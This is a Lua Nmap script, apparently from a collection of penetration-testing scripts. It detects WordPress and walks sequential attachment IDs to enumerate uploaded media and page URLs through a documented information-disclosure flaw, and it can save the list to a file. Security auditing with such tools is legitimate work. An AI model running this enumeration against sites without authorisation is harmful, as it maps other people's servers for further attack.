PenetrationTestingScripts/nmap_scripts/http-wordpress-attachment.nse

142 lines
4.5 KiB
Lua

local http = require "http"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
description = [[
Enumerates URLs of uploaded media and pages in Wordpress blog/CMS installations by exploiting an information disclosure vulnerability.
$ git clone https://github.com/hkm/nmap-nse-scripts.git
Original advisory:
* http://blog.whitehatsec.com/information-leakage-in-wordpress/#.Ueig9m0_yms
]]
---
-- @usage
-- nmap -p80 --script http-wordpress-attachment <target>
-- nmap -sV --script http-wordpress-attachment --script-args limit=1000 <target>
--
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- | http-wordpress-attachment:
-- | URL: http://www.hakim.ws/calendario/
-- | URL: http://www.hakim.ws/2010/12/noticias-anteriores-al-201/
-- |_Search stopped at ID #25. Increase the upper limit if necessary with '--script-args limit=1000'
--
-- @args http-wordpress-attachment.limit Upper limit for ID search. Default: 100
-- @args http-wordpress-attachment.basepath Base path to Wordpress. Default: /
-- @args http-wordpress-attachment.out If set it saves the URL list in this file.
---
author = "Pedro Joaquin based on Paulino Calderon http-wordpress-enum"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"auth", "intrusive", "vuln"}
portrule = shortport.http
---
-- Returns the URL extracted from the Location corresponding to the attachment_id passed
-- If attachment_id doesn't exists returns false
-- @param host Host table
-- @param port Port table
-- @param path Base path to WP
-- @param id Attachment id
-- @return false if not found otherwise it returns the username
---
local function get_wp_url(host, port, path, id)
stdnse.print_debug(2, "%s: Trying to get URL with attachment_id %s", SCRIPT_NAME, id)
local req = http.get(host, port, path.."?attachment_id="..id, {no_cache = true, redirect_ok = false})
if req.status == 301 then
if string.find(req.header.location, "attachment_id") == nil then
stdnse.print_debug(1, "Attachment_id #%s returned %s", id, req.header.location)
return req.header.location
end
end
return false
end
---
--Returns true if WP installation exists.
--We assume an installation exists if wp-content is found in body of index.php
--@param host Host table
--@param port Port table
--@param path Path to WP
--@return True if 404 page contains string wp-content
--
local function check_wp(host, port, path)
stdnse.print_debug(2, "Checking wp-content in body")
local req = http.get(host, port, path..math.random(1, 99999999), {no_cache = true})
if req.status == 404 then
if string.find(tostring(req.body), "wp%-content") ~= nil then
stdnse.print_debug(1, "Wordpress installation detected. String wp-content found in 404 body")
return true
end
end
return false
end
---
--Writes string to file
--Taken from: hostmap.nse
--@param filename Target filename
--@param contents String to save
--@return true when successful
local function write_file(filename, contents)
local f, err = io.open(filename, "w")
if not f then
return f, err
end
f:write(contents)
f:close()
return true
end
---
--MAIN
---
action = function(host, port)
local basepath = stdnse.get_script_args("http-wordpress-attachment.basepath") or "/"
local limit = stdnse.get_script_args("http-wordpress-attachment.limit") or 100
local filewrite = stdnse.get_script_args("http-wordpress-attachment.out")
local output = {""}
local users = {}
--First, we check this is WP
if not(check_wp(host, port, basepath)) then
if nmap.verbosity() >= 2 then
return "[Error] Wordpress installation was not found. We couldn't find wp-content"
else
return
end
end
--Incrementing ids to enum URLs
for i=1, tonumber(limit) do
local user = get_wp_url(host, port, basepath, i)
if user then
output[#output+1] = string.format("URL: %s", user)
users[#users+1] = user
end
end
if filewrite and #users>0 then
local status, err = write_file(filewrite, stdnse.strjoin("\n", users))
if status then
output[#output+1] = string.format("URLs saved to %s\n", filewrite)
else
output[#output+1] = string.format("Error saving %s: %s\n", filewrite, err)
end
end
if #output > 1 then
output[#output+1] = string.format("Search stopped at ID #%s. Increase the upper limit if necessary with 'http-wordpress-attachment.limit'", limit)
return stdnse.strjoin("\n", output)
end
end